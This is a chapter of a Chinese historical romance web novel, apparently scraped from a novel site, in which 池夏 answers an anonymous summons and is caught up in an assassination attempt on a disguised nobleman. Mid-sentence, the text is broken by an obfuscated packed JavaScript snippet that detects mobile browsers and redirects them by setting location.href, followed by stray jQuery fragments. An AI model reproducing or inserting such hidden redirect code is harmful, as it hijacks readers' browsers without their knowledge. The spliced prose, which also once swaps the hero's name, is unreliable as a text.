1. 决定赴约

作品:《当悔东风意

    长安城的朝光裹着阵阵焚香飘进成衣铺时,池夏正摆弄她的蔷薇花,看似娴静的娇花照水,实则内心辗转,正在考虑一场赴约。


    昨夜池府后院大闹,扰得她不得安宁,回了房间,却看见屏风上贴着一张字条。


    初一得相救,未初雁归楼。


    今日正是初一,她一早出门,却步履踌躇,先转来成衣铺。


    顾姨是她的奶娘,早早被她送出来做成衣铺管事,算不上军师,却是她为数不多可以信任的人,“好奇怪的话,时间都算好了,真的是要你相救吗?”


    “到底是何人所写?”顾姨问完就看出池夏神色不对。


    这字迹池夏认识,却又不笃定,就像对那人的长相,记得又不清晰。“像极了贺小王爷的字。”


    那还真说得通,池夏四年前在雁归楼救过贺小王爷。如今他在南疆战场,如果重伤悄悄回来,留这样的字条,池夏会再次会相救。


    可疑的是,贺小王爷久无音信,为何偏找深闺女子?贺王爷就在京城,为何不寻?


    “字条您帮我收着,”其实池夏已经做好了决定,来通知顾姨,只是想留条后路,万一出事,顾姨会替她想办法。“我若不去,必会后悔,若是陷阱,就当是我贪心的惩罚吧。”


    贺小王爷的消息很少传到京城,唯独他弑杀好色的形象,人尽皆知。


    据传南疆百姓怕他,比怕他老子贺王爷还多,男的看他一眼小命不保,女的被他看一眼,也活不过天亮。


    所以京中没有人敢打他的婚配主意,只有这池二娘子,被传与贺小王爷情谊深厚以来,也不见贺王府澄清,便都认为是真的。


    包括池家。


    后宅争斗不断,除了父亲,没有人希望她跟贺王府搭上关系。


    在这件事情上池夏不否认她像极了自私又贪心的父亲,池广鸣一路爬到五品太子洗马,而她想嫁入贺王府,谁不是为了安逸荣华。


    而且她深知,在主院的安排下,不会有比这更好的归宿。


    可从成衣铺出来又犹豫了,贺小王爷像是一团迷雾,看不清楚却挥之不去,其中暗藏着勃勃机遇,又裹挟着万重危险。


    就算是陷阱,还会比池府的深渊更令人绝望吗?


    池夏思绪混乱,信马由缰地到了东市附近,行人渐多,便牵着马走。


    正午将至,池夏站在雁归楼前深吸一口气,她今日特意选了一套桃红柳绿的春衫,灵动飘逸,引人注目,发饰却极为简单,只用了两根银簪。


    雁归楼她再熟悉不过,踏进大门直往三层而去,掌柜见状也没多问。


    三楼是单独的雅间,李凌恪站在窗前,望着楼下熙熙攘攘的人群,眉头微蹙。


    他今日特意换了身江湖客的打扮,一袭乌衣,腰间碧丝缠绵,手中折扇频频扇动,气韵悠长,风流倜傥,只是那双眼睛,依旧锐利如鹰隼,时刻警惕着四周的动静。


    “客官,您要的酒菜。”小二端着托盘进来,将几样精致的菜肴摆在桌上。


    李凌恪点点头,目光却始终没有离开窗外。


    他这次秘密回京,是为了调查军饷贪腐一案。边关将士已经三个月没有领到饷银,再这样下去,只怕军心不稳。


    突然,他的目光一凝。楼下街角处,几个形迹可疑的男子正在低声交谈,时不时抬头看向雁归楼的方向。李凌恪的手指无意识地敲击着窗棂,这是他思考时的习惯动作。


    就在这时,雅间的门突然被人推开。李凌恪迅速转身,右手已经按在了腰间的软剑上。


    “抱歉,我走错了。”一道清亮的女声响起。


    李凌恪抬眼看去,只见一个身着粉色襦裙的少女站在门口,淡绿色披帛随着门风飘舞,轻盈灵动。她约莫十五六岁的年纪,眉目如画,此刻正微微蹙着眉,似乎对自己的冒失有些懊恼。


    李凌恪正要说话,突然听到楼下传来急促的脚步声。神色一变,一把将她拉进房间,关上门。快步走到窗前,只见方才那几个可疑男子已经不见,应该是冲进了酒楼。


    “你干什么!”少女挣扎着,“放开我!”


    “不想死就别动!”李承泽低喝,一把将她拽到雅间另一侧,几乎在同一时刻,几支弩箭破窗而入,钉在了他们方才站立的位置。


    少女惊呼一声,这才意识到情况不对,停止了挣扎。


    李凌恪已经将她护在身后,“跟在我身边。”他低声说道,同时抽出腰间的软剑。


    雅间的门被踹开,三个黑衣人冲了进来。李凌恪手腕一抖,软剑如灵蛇般刺出,瞬间划破一人的咽喉。另外两人见状,举刀砍来。


    “低头!”李凌恪喝道。


    少女立刻蹲下身子,李凌恪的剑锋擦着她的发髻掠过,将第二个刺客的刀挑飞。第三个刺客趁机逼近,却被少女伸脚一绊,踉跄着向前扑去。李凌恪抓住机会,一剑封喉。


    “身手不错。”李凌恪挑眉看了少女一眼。


    “形势所迫。”池夏站起身,拍了拍裙摆上的灰尘。


    李凌恪还未来得及回应,楼下又传来脚步声,拉着池夏来到窗边:“敢跳吗?"


    池夏探头看了眼三楼的高度,咬了咬唇:“不敢。"


    李凌恪还以为她有身手,没想到是高看了,于是一把抓过她,“先离开这里。”


    “放开我!”池夏被他环住腰,整个人挂在了他身上,动弹不得,只好怒骂:“你这歹人!”


    “我是歹人?”李凌恪冷笑,作势要放下她,“那你自己留在这吧。”


    可楼下喧闹声四起,池夏怕杀手狠绝,也怕再袭飞箭,忙紧紧抱住他,“快走啊!”


    李凌恪无奈,揽住她的腰,纵身跃下。


    落地时,池夏的发簪不慎掉落,一半青丝如瀑般散开,她顾不得这些,跟着李凌恪左拐右绕地跑进了一条小巷。


    池夏气喘吁吁地靠着墙,用剩下的发簪重新挽头发。


    李凌恪依旧气韵如常,看她抬手间露出的藕臂,本想移开眼睛,却发现绿纱轻衫下透出一只臂钏,鎏金错银的材质在阳光中泛着诡异的光,那是熔铸官银才会出现的淬火纹!


    眼神中闪过凌厉:“你当真是无意闯入?”


    “我还没问你呢!”池夏在雁归楼什么都没查到,就被他带出来,不免火大,反问道,“那些刺客明显是冲你来的。”


    李凌恪沉默片刻:“知道得太多对你没好处。”


    “可我已经被卷进来了!”池夏直视着他的眼睛,“而且,我认得那个领头的。他是户部尚书家的护院。”


    李凌恪一怔,户部尚书,正是他这次要调查的对象之一。


    “你……”她刚要开口,就被他捂住嘴,掌心粗糙的触感让她心头一跳,那是常年握剑留下的茧。


    李凌恪低头看着怀中少女,日光下,她的睫毛在脸上投下细碎的阴影。“别出声。”他压低声音,温热的气息拂过她耳畔。


    池夏感觉耳根发烫,却强自镇定。这人一身江湖装扮,却在听到户部尚书时,眼神充满了愤慨和杀气,究竟是何身份?


    巷口传来南蛮人的低语,池夏自知收声,李凌恪的手却缓缓下移,扣住她的手臂。


    池夏察觉到,他的拇指正摩挲着臂钏内侧,心中警铃大作,这臂钏原是贺小王爷的,她带手腕上太松,才当做臂钏,莫非……


    “小娘子这臂钏,”他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956716|160994||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凑近她耳边,声音轻得几不可闻,“是从何处得来?”


    池夏心中一凛,贺小王爷四年无音讯,急得贺王府的家眷甚至来找她打听消息,可她怎么知道!


    但她知道贺小王爷不欲被人知晓行踪,于是别过脸:“家传之物。”


    李凌恪眯起眼,家传?这分明是军器监特制的暗记。


    他想起边关将士苦苦支撑的模样,手上力道不自觉地加重。


    “疼……”池夏轻呼一声,眼中泛起水光。


    李凌恪这才惊觉自己失态,连忙松开手。少女臂上已泛起红痕,衬着鎏金臂钏,竟有种惊心动魄的美。


    “抱歉。”他低声道,却见她突然拔下发簪,青丝再度落下时凌乱了他的双眼,风静后,银簪已然抵上他的咽喉。


    “说!你将贺小王爷如何了!”池夏此行扑空,不相信这人出现是巧合,自然要问个明白。


    贺小王爷?李凌恪四年不在京城,竟不知有胆大包天者与他争贺小王爷之名?


    可眼前女子逼问的模样,似乎真在抱不平。他当脖颈上的银簪不存在,好笑道:“那个弑杀好色的贺小王爷?不是在南疆吗,小娘子想他了?”


    池夏皱眉,这江湖客看来不知道贺小王爷潜入京城,她的消息来源不明,也不敢多说暴露,“干你何事!报上名来,不然我就把他们引来。”


    南蛮人离开不久,池夏有把握一嗓子把他们喊回来。


    “柳风,江湖过客柳风。”李凌恪服了这女人,却没据实相告。


    池夏也不信,这里是京城,什么江湖人敢在京城闹命案?“为何去雁归楼!”能入三楼雅间的,必是勋贵。


    李凌恪不答反问:“小娘子管得多了吧,若柳某问小娘子来意,可得一句实话?”


    自然不会。


    所以池夏不问了,收回簪子就要离开。刚过未初,她回到雁归楼或许还能赶上。


    “小心!”池夏突然回身大喊,就见一支毒镖擦着柳风的衣袖飞过,柳风眼疾躲过,手快接下第二支毒镖,反手掷出,远处传来重物坠地的声音。


    “多谢。”李凌恪看向池夏,却见她脸色苍白,右手捂着左肩,暗红的血迹正从指缝间渗出。


    这个位置……若没有她,毒镖也许已经刺入他的心脏。


    李凌恪欲上前检查,那毒药应是出自安南毒瘴之地,他也许认识。


    “无碍。”池夏却推开他,强撑着站稳,“只是擦伤。”


    李凌恪看着她倔强的侧脸,忽然想起边关那些宁死不屈的将士,他轻叹一声伸出手:“镖上有毒,我带你去医馆。”


    “哪里走!”突然两个外邦口音的杀手从房顶落下。


    李凌恪来不及抽剑,眼前忽现寒光,忙侧身躲过飞来的弯刀,原本刺向他的刀,转眼已成他的武器,利落地划过杀手脖颈……


    小巷狭窄,他若避开第二人的袭击,利爪只会朝着那女子而去,定会使她丢了性命,于是迎面跑向利爪,用弯刀抵住前一只,点地跳起,闷哼一声,向前滚出几步。


    腹部被后面一只利爪生生撕下一块肉……


    此刻再无掣肘,他拔出软剑回身杀去,解决了第二人!


    四周安静下来,只有液体滴落在沙地上的声音。腹部巨痛使他单腿跪地,大口地喘着气。


    血色蔓延无边,他的双眼似乎被死神蒙住,意识逐渐淡薄时,听见一道尖锐的呐喊。


    是平日嫌烦的女子叫声,这会却像是菩萨降言,告诉他撑住了就能活命。


    他抬眼,日头在西,一团粉色的东西镀上金光,正向他而来。


    不由心中好笑,他杀人如麻,菩萨当真会救?